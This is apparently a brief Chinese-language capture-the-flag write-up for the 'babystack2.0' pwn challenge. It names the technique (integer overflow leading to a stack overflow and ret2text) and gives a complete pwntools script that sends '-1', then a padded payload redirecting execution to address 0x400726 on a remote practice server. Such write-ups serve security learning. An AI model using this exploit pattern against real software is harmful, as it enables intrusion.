babystack2.0-入土为安的第十六天

checksec pwn 

整数溢出

ret2text

栈溢出

这行代码等待服务器发送包含 'your name:' 的提示，然后发送字符串 '-1'。这通常用于触发程序接收用户名的部分。

这行代码在收到包含 "name?" 的提示后，发送前面构造的载荷 payload。这通常用来触发某种缓冲区溢出或其他漏洞，进而将控制权转移到你指定的地址（0x400726）

from pwn import*
p=remote("node4.anna.nssctf.cn",28324)
p.sendlineafter('your name:',b'-1')
payload=b'b'*(0x10+8)+p64(0x400726)
p.sendlineafter("name?",payload)
p.interactive()